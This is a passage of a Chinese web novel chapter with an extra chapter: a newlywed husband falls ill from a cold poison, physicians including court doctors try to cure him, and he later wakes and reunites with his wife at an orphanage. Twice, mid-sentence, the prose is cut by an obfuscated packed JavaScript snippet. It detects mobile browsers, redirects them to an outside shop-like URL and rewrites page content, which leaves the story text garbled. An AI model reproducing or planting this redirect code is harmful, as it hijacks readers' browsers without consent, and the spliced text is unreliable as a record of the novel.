四姨娘僵硬地点点头,在眼眶发红之前背过了身。 陆清和还要再说,却觉得呼吸越来越艰难,每次吸气都像冰刀入肺似的。 一时疼痛难忍,眼前猛地暗下来,倾倚在谢辛辛身上。 “陆清和?陆清和?”谢辛辛扶着他的肩膀,“你还好吗,看着我?” 陆清和无力笑道:“坚持到现在了,真好。” “你……” “辛辛,我不想惊动大家。大家都很高兴,我也高兴。” 谢辛辛顿了一瞬,便说好,“我扶你回房,我们悄悄的。” 陆清和安然地点了点头,“叫阿凤来扶我,今天玉春楼忙得很,别累着……”一句话还未说完,闭上眼,沉沉地睡了过去。 周围人脸色俱变,但谁都没有张扬出声。玉春楼的人和陆府的人忽然很有默契地聚拢在一起,形成薄薄一道人墙,将食客的欢笑隔绝在外。 内圈的人则是安静地动作着。阿凤忙不迭地帮着把陆清和背上了肩,要往新房送去。瑛王妃轻拍着四姨娘的背,说了些安抚的话。 边青昙和范守一二人本在厅中斟饮,被快步赶来的茗琅叫去,匆匆忙忙带上了随身的药箱。 新人婚房中,桌案几塌上都覆着绣艺精美的赤色喜锦,锦缎上珠片镶出的莲花之间是金线绣的交颈鸳鸯,彩绢打的喜鹊昂首啾鸣。瞧着端的是一个热闹不已,衬显得房内几人的神色格外寒凉。 二位大夫一进门,不用多说,范守一直接向榻上病人走去,“我来看看,烦请闲杂人等回避一下,给病人充分的空间。” 于是长辈们长吁短叹着散去。趁他把脉的功夫,边青昙向谢辛辛问询病情。 “今晨见他一切都好,精神也足,还与我梳头来着。但之后眼瞧着越来越坏,拜堂的时候,显然是硬撑了。莫非是累着了?” 边青昙不置可否,“不无可能。虽然上回没瞧他的脉,但观其毒发之表征,应是依赖络脉逐渐游走全身的极寒之毒。越是多动,寒气便走得愈快。” 榻边摸脉的范守一对她点头,示意边青昙猜的不错。 谢辛辛咬牙,“青昙,虽然这毒是过得宫里御医那一关的,我也知,对你提出这个要求可能有些强人所难。但我还是想问你,他,有办法救回来吗?” 她问出这话,忽然不敢看两位大夫的眼睛,于是垂下双目,视线落在陆清和苍白的睡颜上。 鲜红的喜枕、喜被,将这个双眼紧闭的少年簇拥在中间,一时令她觉得分外扎眼。 于是谢辛辛也闭上眼。 眼前无物,却让边青昙一声轻轻的叹息更为明显。大夫的叹息,如一根针透过耳膜扎进她的脑海里,痛得令人清醒。 可哪怕猜到边青昙或许会说“没办法了”,谢辛辛还是会问出这一句话的。 哪怕猜到结局,该做的事不做,该问的话不问,才会让人遗憾愧疚。她不是这样纠结之人。 谢辛辛也叹了一声:“就算没办法的话,至少……” “我可从来没说过不能救啊。” “什么?” 她愕然睁眼,见边青昙耸了耸肩。 “是你们从没给我说的机会。” 谢辛辛瞪了眼,不可置信地看向范守一。范守一还将手指搭在陆清和的腕上,回以她抱歉的笑意。 “可是陆清和说……” 边青昙扬眉,“宫里的御医,哪里就是神仙了?若真这么厉害,皇帝早把看不顺眼的人都毒死了。” ……理确实是这个理。 谢辛辛努力理解着她话中的意思,仿佛从昏昏黑夜中看到了一丝光亮,就听门外有人笑了一声: “好大的口气,不知这位大夫师从何人啊?” 说罢,有人推门道“请”,就有一玉身公子款步而入,哪怕身着常服,也气宇通身。谢辛辛隔着屏风一看,竟然是太子。 犹豫着要不要见礼,就见太子伸手做了个不必的手势,从身后另请了两位身着绀青袍服的鹤发老人出来。 太子清了清嗓子:“孤来检视你的事办的怎么样了。” 太子所言,能找她商量的事,无非就是指慈幼局。可这谢辛辛才回莲州没几日,又赶上陆清和病重,哪能这么快将慈幼局的相干事宜安排妥当呢? 故而谢辛辛一时语塞,摸不准太子的意思。 她不说话,太子也有些尴尬,只好眼风示意自己带来的两位大夫说话。 两人会意,其中一位便上前拱手道:“鄙人吴冇源,曾为御前医官,如今掌东宫医事。这位是我师弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196846|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袁广。” “听说,这里有病人,医者仁心,吴某不禁求请太子带我二人来看看。不曾想正好听到这位大夫娘子揶揄宫中的御医,师弟这才出声玩笑,还请几位见谅。……不知是否方便让我二人看一眼病人情况呢?” 多来几名大夫,就是多了几分希望,谢辛辛自是没有不愿意的。 才让身要请,谢辛辛又顿了顿,朝边青昙那便看去,“我听边大夫的。” 边青昙疑惑地看了她一眼,半晌才明白过来,这是好朋友担心自己面子上过不去,心里一暖,摆手道: “病人为重,没什么好介意的。” 范守一便也到外间去,替两位御医让了位置。 气氛又安静下来。太子背过身去,假装看窗外的风景。 谢辛辛笑了笑:“这窗纱都未揭开,太子殿下看什么呢?” 太子一滞,回身才要说话,谢辛辛抢着道:“慈幼局的事正在筹办,最快也要下月才能安顿好人手。” 遂又把太子为数不多的话题噎了回去。 三言两语,竟说得太子殿下也有些气闷,心中略微有些后悔自己直接带着医官闯了进来。早知如此,该让她手足无措之时求着自己才是。 可又怕这陆二公子挨不过去,到时就来不及了。自己到底还是惜才的。再加上,他日若临朝,又实在需要谢辛辛和陆清和这样趁手的人才。 一个是蛰伏民间、收拢民心的温柔刀,一个是潜在朝野、披荆斩棘的快剑。若让这二人劳心劳身,却最终修成苦果,他承彦实在不忍。 想到这里,太子哼了一声,有些厌恶自己明明将为人君,却仍旧葆有心软。 遂抬手打帘:“孤出去走走。” “太子殿下。” 太子脚步定了定,回首见谢辛辛微笑向他。 “殿下,谢谢。” 适才的烦躁忽然在一声道谢中一扫而空。 太子别过了身子,嗯了一声,才缓缓道:“孤祝尔等百年好合,永结同心。” 得到太子殿下的祝福,也算是意外之喜。一时间,回想起在殿前司初见太子的忐忑,谢辛辛望着太子出门的背影,百感交集。 回过神来时,边青昙似乎正在同那位袁广师弟斗嘴。 谢辛辛问:“你们说什么呢?” 边青昙便解释给她听:“这位袁大夫对我方才的话很有意见。可,宫中的医生,多看重行医诊方的实践,殊不知这医者也分流派,比如莲州范氏,世代悬壶,却走的是医中“仕途”,也只精通望诊开方。” “那么若是人人都依照现有的医学开方子,这方子里的药材,哪一味温补,哪一味性寒,哪一味是猛药,适宜以毒攻毒,又是谁研究的呢?” “这便是另一群大夫的事了。这类人,擅岐黄药理,草药蓼蓍,其毒性疗效,都是这类通岐黄之术的大夫弄出来的名堂。” 范守一接话道:“无错。青昙的父亲边大夫若还在世,应当也是这一医脉的佼佼者。” 吴太医把完脉象,捻须笑道:“不无道理。话说回来,这陆大人的病情……依鄙人愚见,毒与药相生相克,相互辅成,可相互激发,在必要的时候,也可相互转化。只是现有典籍中,未有能促成这一转化的药材记载罢了。” 谢辛辛听得明白,难掩惊喜:“你们的意思是说……?” 吴太医道:“若能在手头的药材之中,找到能化解此种寒毒的方法,也是泽被后世之事啊。” 边青昙不管什么后世,只是拉起谢辛辛的手道: “既然你想救他,尽管让我来试一试吧。” 范守一在一旁听着,这时忙补充:“是让‘我们’试一试。” 毕竟这种医学研究,靠他们二人不知得研究多久,若有两位见多识广的太医相助,才能事半功倍。 这种时候,无论三七二十一,先把二位御医同他们绑死在一起才是正经。 97.番外四 春眠 几位大夫这一试,就试到了冬风吹挟甜酒气,风走处,婚宴宾客喁喁四散尽,无人问何处郎君。春渐暖,塘花开败,此时,还未有新荷初生。 裕元八年,赵都云于牢中起疯癫,而大皇子承元自那一仗后吓破了胆,更加痴傻,闭门不出。 老皇帝无端病重,元宵后,太子承彦登基,改年号,永朔。 云京城内的事,寻常世人难探其根源,世人只知新皇仁德,设慈幼局、独孤所,关照鳏寡孤独,广颁仁政,而不知宫内是怎样的静谧下完成了权力的厮杀。 永朔元年,并没有出现先皇在位时藩王割据的局面。天下最大的两家王爵位,宣王府与北瑛王府——在赵都云获罪后,宣王府只仰赖宣德太妃苦苦支撑,本已是强弩之末。北瑛王府更是主动让出半个兵权,嫡子陆景明以待罪之身永戍边关,非召不回。 而陆佗,待剿灭东洋匪患之后,自请解甲。据民间传言,这位北瑛王年过半百,忽地对草药病理学起了兴趣,正在云游各处搜集奇珍异草。 如今的谢氏的老铺子有茗琅和马南春看顾,又新开了几家茶肆让王娘子和小绿茱打理。谢小掌柜每日忙完玉春楼和慈幼局的事,要去葫芦巷子最深处那个院子小坐。 久而久之,东街到葫芦巷之间的车夫都与她混成了熟脸。 这日晚上少客人,谢辛辛将酒楼事宜托给了刘宛之后,披着风衣便往街口走。 有没来过几回的客人关注到她,随口问了声: “哎?掌柜的就走了?” 熟客自然是知道谢辛辛做派的,替她解释道: “这谢小掌柜新婚之后,郎君好像身染奇病,昏睡不醒,放在边大夫那儿照顾呢,掌柜的每天晚膳之后都得去看望。” “啧啧啧,可惜多么水灵的姑娘……哎哟,莫不是克夫吧?” 一个空酒坛子哐当就砸了过来,好险没把说这话的人脑门砸个大包。这人一恼,站起来嚷嚷:“谁呀!” 却是几个身着软甲的六尺大汉,同在大堂用饭,隔着一张桌子,冷冷盯着他。看的那人气焰顿时矮了一截。 “几位官爷……”那人腿软,跌坐下来问,“不知何处冒犯?小的,小的先给官爷赔不是……” 为首的那人从牙缝里挤出字来: “再对我们夫人和指挥使大人不敬,仔、细、你、的、牙。” “是是是!”这人忙告饶,忙拉着同伴躲到远远的另一张桌子上,却胃口都被吓没了。 喘了半天气,这才反应过来,这谢小掌柜的郎君,就是云京那个颇受新皇器重的殿前司陆指挥使啊? “难怪了。”此人猛一饮茶,顺着气喃喃自语,“早听闻这陆指挥使染疾不起,天家却替他留着都指挥使的位置到现在,堂堂的殿前司如今,还是副指挥使代行指挥使之职呢。难怪谢小掌柜愿意守着……原来……” 同伴忙打他一掌:“还说,还说?小心那边的董都头将你牙碎了喂鸡。” 那厢谢辛辛已经走出了街口,候着生意的车夫隔着几丈远,就同她招手笑道: “谢小掌柜,今日倒是比往常早啊。” 谢辛辛浅浅一笑,同他寒暄着上了车:“今日不忙,遂早些出来。” “还是去葫芦巷子?” “嗯。” “唉,谢小掌柜,你那小郎君还没醒过来呐?” 谢辛辛沉默了一霎,旋即还是笑道:“快啦,快啦。近日又收到滇南寄来的仙草,几位大夫都觉得能用上呢。” 车夫隔着轿帘,也陪着她短叹一声。 “谢小掌柜也是真不容易啊。” “可不是么。”谢辛辛附合着,面上也不愁苦,一切皆是淡淡的。 他醒也好,不醒也罢,尽人事,听天命罢了。 谢辛辛这么劝慰自己。 毕竟她太忙了,没空风花雪月。赵都云一倒,再加上太子殿下那边的事情一多,她不仅要忙着将谢家的产业重新支撑起来,还要看顾着慈幼局的孩子们,替他们相看领养的父母。 也不知是因为忙得没空惆怅,还是因为心中空寂太过,不得不让自己忙得脚不沾地,才没有时间闲下来感受那一分苦闷。 总归这一生都是营营逐逐波波碌碌,他若醒不过来,权当老天要自己跳出七情六欲关头了。[1] “对了,谢小掌柜,我听闻小惜儿今儿遇到喜欢的大人了。” 谢辛辛猛地一呛:“什么?” 小惜儿是慈幼局第一批收养的孤儿里面,最白净可爱的小姑娘,来时才四岁有余,最是喜欢谢辛辛,总是像块牛皮糖似的,黏着她小腿上不肯走。 也是这个原因,哪怕再乖巧漂亮,也难被领养出去。但凡有人要带她走,小惜儿就满地哭叫乱爬,喊着“我不走不我走,坏人要绑小惜儿走,小惜儿偏不走。我要和辛辛姐姐过一辈子!” 故使每一个领养人都无比尴尬,此事便多次作罢。而谢辛辛虽然有心领养她,可她如今是一个人操持着太多事情,怕自己没时间照顾小孩,遂没有提起这事。 “你是说,有大人来慈幼局看小惜儿,小惜儿还很喜欢?” 车夫说是啊,“据说是个相貌很俊秀的男人,小惜儿喜欢得不行,说他长得好,那个男人便问她想不想做他的女儿,小惜儿好像没有拒绝。” 什么?谢辛辛顿时警惕起来:“单一个俊秀男人,没有带妻子来吗?一个男人没有女子在身边,总叫人不放心,更何况是一个长得漂亮的……” 小惜儿喜欢谢辛辛,谢辛辛自然不免对小惜儿也多上了心思。 可不能叫小惜儿让赵都云那样的男人骗回家了。谢辛辛办慈幼局的规矩,若是独身男子想要领养小女孩儿,是绝对不允许的。 车夫想了想,却说:“好像,好像却是他一个人,没有带妻子……” “停车。”谢辛辛当机立断,“掉头,我今日先不去葫芦巷子了,去慈幼局。” 紧赶慢赶赶到慈幼局门口,谢辛辛不顾风仪跳下了车,因跑得太急,险些呛到风中飘散的杨絮。 这个时间,慈幼局的孤儿才用完饭,应当在小院里玩耍休憩。谢辛辛见不到孩子,便急着往后面院子里去。 “夫人,你终于来啦!夫人,……咦,这是怎么的?”抚幼嬷嬷迎上来话说了一半,看她面色不对,诧异道,“夫人怎么脸色这么差?这不是好事吗?” “小惜儿呢?” 抚幼嬷嬷一怔,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196847|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在和那位大人玩呢……” 果然!怕就是车夫说的那一位吧! 谢辛辛一皱眉,“那位大人?他一个人来的?长得可俊秀?小惜儿很喜欢?” 问了一连串,抚幼嬷嬷有些摸不着头脑,反应迟钝了些,愣怔怔应了一个是。 于是谢辛辛一个大步往院子里跨去,边走边责问:“怎么回事?往日我不是三令五申,独身男子绝不可领养小女孩儿吗?你们做事都严谨,从未犯过错,今日为何……” 不等抚幼嬷嬷回答,她就听到院子里小惜儿脆生生的嗓音,对不知什么人道:“若是如此,那小惜儿当然是愿意的。大哥哥你长得美,辛辛姐姐也对我好……” “不行!” 谢辛辛立时出声闯了进来,见一个瘦削的男子身影背对她,看不见面容,屈膝蹲着和小惜儿说着话。 “不行!小惜儿,你不能跟着他!慈幼局有规矩……” 那男子被惊得一咳,错愕回头。 云消雾散,春光乍然挥洒,夕阳的金光恰好披在这人的肩上,托衬着一张谢辛辛再熟悉不过的容颜。 一双狐狸般的眉眼愕然看她,霎那间,欣喜、怅惘、愧疚、爱意飞速地在这双眼睛中闪过,凝成熠熠的两汪湿润。 谢辛辛也怔了。 春风乍起,柳絮纷飞如雪,伴着小惜儿咦了一声,谢辛辛的心在狂跳。 “辛辛姐姐。”小惜儿欢快地跑向她,仰面笑道,“这个大哥哥说,他是你夫君,那如果大哥哥愿意领养我,我是不是就是辛辛姐姐的孩子啦!” 谢辛辛怀里抱着小小的孩子,目光却穿过她看向那个人,眼中酸涩,好像看尽了一整个冬天。 那人披着春阳起身,笑意温柔一如当年。 “辛辛。”他叫她,“我回来了。” 谢辛辛张了张口,“你……” “你……” 千回百转,终究难以成声。 “是我。”陆清和笑着看她,“辛辛,我很想你。” 抚幼嬷嬷这才赶到,将小惜儿抱了起来,“夫人,方才你太着急,我都来不及跟你说。今天有孩子生病,我去请了边大夫来,谁想到边大夫还带了一个好消息,那就是陆大人醒过来啦……” “我才托了人去玉春楼传话,没料到他前脚刚走,夫人你后脚就来了。夫人今日来的这么早,莫非是传话的人没赶上?” 谢辛辛啊了一声,还有些茫然,任抚幼嬷嬷唠叨着将小惜儿抱到一边去了。 眼前忽地被遮去一片光,是陆清和已经走到她面前,将她的手牵起来,放在自己的脸上。 他用面颊去蹭她的手掌,如春眠才醒的小狐一般亲昵,“你摸,我如今是不是暖的?” 她呆呆道:“是。” “边青昙说,是我父亲寄来的那株草起了作用……” 陆清和的嘴巴一张一合,谢辛辛虽然看着他,却早已听不见他说着什么。手指顺着他,在他脸上抚弄,摸过他的眉骨、眼眶、鼻梁,摸过他如今不再冰凉,而是暖玉一般的皮肤,最后停留在这一张一翕的薄红的唇上。 “很暖和。” 她没头没脑地说了一句,随即俯唇而上,衔住了这片温热。